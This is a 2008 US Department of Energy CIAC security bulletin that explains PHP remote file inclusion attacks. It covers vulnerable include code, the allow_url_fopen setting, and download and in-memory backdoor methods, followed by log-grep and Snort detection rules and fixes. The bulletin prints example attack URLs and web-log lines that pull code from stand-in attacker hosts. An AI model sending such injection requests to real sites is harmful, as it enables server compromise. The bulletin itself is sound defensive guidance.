-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ TECHNICAL BULLETIN Understanding PHP Exploits January 29, 2008 20:00 GMT Number CIACTech08-001 Revised: Febuary 14, 2008 18:00 GMT ____________________________________________________________________________ PROBLEM: Unsanitized inputs in PHP programs allow intruders to compromise web servers. PLATFORM: Web servers with PHP driven pages such as Wikis. ABSTRACT: Many websites use the PHP programming language to build web pages on the fly from individual files and from values obtained from a database. PHP is widely used to create websites with active content, such as Wikis like MediaWiki used to build Wikipedia. If the PHP programs that generate the web pages are not carefully crafted to check user input before it is used, an intruder could inject code into a page and get it executed, leading to compromise of the website. ______________________________________________________________________________ LINKS: CIAC BULLETIN: http://www.ciac.org/ciac/techbull/CIACTech08-001.shtml OTHER LINKS: SQL Injection - http://www.ciac.org/ciac/techbull/CIACTech06-001.shtml ______________________________________________________________________________ [Revised 2/14/08 Added snort rules] Many websites use the PHP programming language to build web pages on the fly from individual files and from values obtained from a database. PHP based websites are widely used to create Wikis such as MediaWiki used for Wikipedia. If the PHP programs that generate the web pages are not carefully crafted to check user input before it is used, an intruder could inject code into a page and get it executed. In addition, web sites that use a database run the risk of having SQL Injection attacks compromise a system or corrupt the database (See CIACTech06-001 for more information about SQL Injection attacks.) A PHP based website is exploited by having an intruder inject code into a PHP script and getting that code to run. For example, if a web page is created by wrapping a standard header and footer around an individual page, the program index.php that is called to create that page might look like the following. My web Page - --- html code that creates the page header --- - --- html code that creates the page footer --- You would call this page with a url like, http://mysite.com/index.php?page=mypage.html Here, mypage.html contains the page contents you want inserted between the header and footer. The PHP code on the web page is the code between the tags. The first block of code checks to see if the variable page has been defined. If page is defined, its contents are stored in the variable $page otherwise the contents of a 404 file not found error page is stored there. The second block of PHP code inserts the contents of $page in the middle of the web page that is being created and returned to the user. Notice that the contents of $page is only being checked to see if it exists and not that it contains legitimate code. A designer may think that since he creates all the links to index.php that he knows the contents and does not need to check them but any user can type any value he desires in his web browser and that value will be used in index.php, including more php code that will be executed. The Trouble With allow_url_fopen ================================ PHP has a configuration option called allow_url_fopen which, if set to true, allows you to use a URL in a variable and that URL will be followed to get the code to insert. This is an extremely dangerous option to allow to be true and should be set to false wherever possible. If allow_url_fopen is true, you can call index.php with a URL like the following, http://mysite.com/index.php?page=http://evilsite.com/evil.php PHP will dutifully follow the link and insert evil.php into the middle of the web page and run any code found there. Two Different Attacks ===================== While analyzing a recent series of attacks on a system, we saw two different attack methodologies used. The first, downloads, writes to disk, and executes a backdoor program that is used to continue the compromise of the site. The second uses a backdoor program written in PHP, which runs only in memory, repeatedly compromising the system every time a backdoor command is issued. Download Attack =============== This first attack method used three different connections to get malicious code on a system and get it run. First, we see in the web logs connections like the following, xxx.xxx.xxx.xxx - - [16/Jan/2008:14:44:17 -0800] "GET /index.php?page= http:/badguy.org/data/attack.txt?? HTTP/1.1" 404 - "-" "libwww-perl/5.805" - From the user agent string at the end of the log (libwww-perl/5.805) you can tell that this attack was generated by a script rather than by a user typing into a web browser. Here, the attack is attempting to insert the contents of attack.txt into the page generated by index.php, allowing it run. While this attack may generate a 404 (page not found) error, that does not prove that the attack did not work, only that it did not return a result. Attack.txt contains lines like the following, As you can see, attack.txt is trying four different PHP commands and two different download methods to try and get backdoor.txt on a system. It first changes to the /tmp directory. It then downloads the file and runs it under perl. When the program quits, backdoor.txt is deleted, hiding the fact that it was there. The file backdoor.txt turned out to be a backdoor program that opens an IRC channel for command and control. Note that attack.txt and backdoor.txt were not given such obvious names but, instead, were things like a.txt or me.jpg to obfuscate their true use. It does not seem to matter what the file name is as PHP deals only with the contents. Memory Attack ============= The second type of attack starts much like the first one, with a URL to a file inserted into a PHP variable in an attempt to get it downloaded and run. In this case, the downloaded file is the backdoor written in PHP code. If the exploit works, the exploit code is written into the memory image of the web page that is going to be returned to the attacker. The attacker sees a web page appear with the backdoor commands displayed on it (see below). Choosing a command runs the original exploit again but includes some additional values that trigger whatever the command was supposed to do. Again, the web page appears but this time with the results of the chosen command. This kind of attack only runs in memory and does not leave files on the system like the first attack unless the intruder uses the backdoor to put files there. Detecting Attacks ================= Detecting the attacks is difficult as most of the queries appear to be normal web requests. While you could look for known bad domains and IP addresses, they tended to change quite often and are not a good indicator of attacks. The web logs turn out to be a good location for searching for attacks. First, be sure you have turned on extended web logs. Extended logs include the user agent string and the referrer string. Grep these logs for the user agent string "libwww-perl". Hits on this string are scripts that are sending queries to your site, which may or may not be malicious. In the logs that are returned, you must look for strings of the form, GET .php?= where is the name of some php file, is some variable, and is a fully qualified link to a file on some web or ftp site. For example, GET /index.php?page=http:/badguy.org/data/attack.txt Unless you allow sending external links to your website, logs of this type are likely attacks. Another possibility is to use a regular expression to search for the string above. Doing this will also find those attacks that are not sent with a script and those that are sent with a script but are obfuscating that fact by changing the user agent string. Create the following findattacks script on a unix system, for filename ; do echo $filename strings $filename | egrep "GET.*php.*http" | egrep -v search\.php | egrep -v '\"GET' done call this script in the web logs directory with, ./findattacks access_log* The first egrep command searches for GET followed by some characters, followed by php, followed by some characters, followed by http. This often finds too many things so the second two egrep commands remove any hits that involve search.php or that have a Referrer string (starts with "GET ). You will need to change these as needed depending on how your site does things. The strings command in the script is not necessary to search web logs, which are already all text but is included so that this script can also be used to search binary packet capture (pcap) files. The strings command extracts the strings from the binary files so they can be searched by the egrep command. A snort signature could be built along the same lines as these scripts. All of these tend to have a large number of false positives so you must look at the captured logs to determine if they are really an attack. Again, the error values in the logs are not a good indicator of the success or not of an attack. Note that with the second type of attack described above, you will get a similar web log every time a command is chosen on the attack page. The original attack URL will be repeated but with a POST action instead of GET. For example, xxx.xxx.xxx.xxx - - [16/Jan/2008:14:44:17 -0800] "GET /index.php?page= http:/badguy.org/data/attack.txt HTTP/1.1" 200 78 xxx.xxx.xxx.xxx - - [16/Jan/2008:14:45:22 -0800] "POST /index.php?page= http:/badguy.org/data/attack.txt HTTP/1.1" 200 32039 xxx.xxx.xxx.xxx - - [16/Jan/2008:14:46:13 -0800] "POST /index.php?page= http:/badguy.org/data/attack.txt HTTP/1.1" 200 32021 Snort Rules =========== The following snort rules are available from Emerging Threats (Bleeding Snort) to detect these attacks. We have been told that they have few flse positives. alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB PHP Remote File Inclusion (monster list http)"; flow:established,to_server; uricontent:".php"; nocase; uricontent:"http"; nocase; pcre:"/(path|page|lib|dir|file|root|icon|lang(uage)?|folder|type|agenda|gallery| domain|calendar|settings|news|name|auth|prog|config|cfg|incl|ext|fad|mod|sbp|rf| id|df|[a-z](\[.*\])+)\s*=\s*https?/Ui"; reference:url,www.sans.org/top20/; classtype:web-application-attack; sid:2002997; rev:3;) alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB PHP Remote File Inclusion (monster list ftp)"; flow:established,to_server; uricontent:".php"; nocase; uricontent:"ftp\:"; nocase; pcre:"/(path|page|lib|dir|file|root|icon|lang(uage)?|folder|type|agenda|gallery| domain|calendar|settings|news|name|auth|prog|config|cfg|incl|ext|fad|mod|sbp|rf|id| df|[a-z](\[.*\])+)\s*=\s*ftp/Ui"; reference:url,www.sans.org/top20/; classtype:web-application-attack; sid:2003098; rev:3;) alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB PHP Remote File Inclusion (monster list php)"; flow:established,to_server; uricontent:".php"; nocase; uricontent:"php"; nocase; pcre:"/(path|page|lib|dir|file|root|icon|lang(uage)?|folder|type|agenda|gallery| domain|calendar|settings|news|name|auth|prog|config|cfg|incl|ext|fad|mod|sbp|rf| id|df|[a-z](\[.*\])+)\s*=\s*php/Ui"; reference:url,www.sans.org/top20/; classtype:web-application-attack; sid:2003935; rev:2;) alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT WEB PHP remote file include exploit attempt"; flow: to_server,established; content:"GET"; nocase; depth:3; uricontent:".php?"; nocase; pcre:"/=(https?|ftps?|php)\:\//Ui"; nocase; content:"cmd="; nocase; within: 100; classtype: attempted-admin; sid: 2001810; rev:21;) Fixing the PHP Files ==================== This problem is caused by PHP scripts that do not adequately check values passed to them from the user. To protect yourself from being compromised by these attacks, First, keep your PHP and Wiki software up to date. The developers of your Wiki software should be working to remove any vulnerabilities from the software. Second, have allow_url_fopen turned off unless it is absolutely necessary. There are other ways to download the contents of external URLs without using this option. Third, examine every variable that you do not have full control over to make sure it is what you expect before loading it or submitting it to a database (a risk of SQL injection). A better way to code these is to return an integer or other marker from a web page and then use that value to select the value to load from a list. This breaks the connection between the value submitted with the web request and the value that is actually loaded, preventing an intruder from injecting his own values. Conclusion ========== PHP based web sites are a fact of life with many Wikis and other sites based on it. While PHP is very powerful language for creating websites, that power can be used to compromise a site if it is not carefully implemented. Developers need to be particularly careful of strings that a user can change and pass through to the PHP code. He must insure that what is contained in the strings is what he expects and he must prevent any unexpected strings from being used to inject code into his scripts. Turning off the allow_url_fopen option is a good start in protecting a site if that functionality is not needed. Thanks to David Bianco of Jefferson Lab for pointing out the Snort Rules. - --------------------------------------------------------------------- CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 925-422-8193 (7x24) FAX: +1 925-423-8002 STU-III: +1 925-423-2604 E-mail: ciac@ciac.org Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://www.ciac.org/ Anonymous FTP: ftp.ciac.org PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) S-122: Cisco Unified Communications Manager CTL Provider Vulnerability S-123: xorg-x11-server Security Update S-124: XFree86 Security Update S-125: Citrix Presentation Server IMA Vulnerability S-126: Members Area System 'view_func.php' Vulnerability S-127: GradMan 'info.php' Vulnerability S-128: AcuraCMS 'stat.php' Vulnerability S-129: Mantis Vulnerability S-130: ELOG Vulnerabilities S-131: BIND Vulnerabilities -----BEGIN PGP SIGNATURE----- Version: PGP 8.1 iQA/AwUBR5+ySkrr52ee8YsTEQIBmwCg+XkvbvNaLnJUNjiHzNRKnnI1D6YAniOj Rb1Ntfn1nmny9uKjDfyQaeW4 =7Uq2 -----END PGP SIGNATURE-----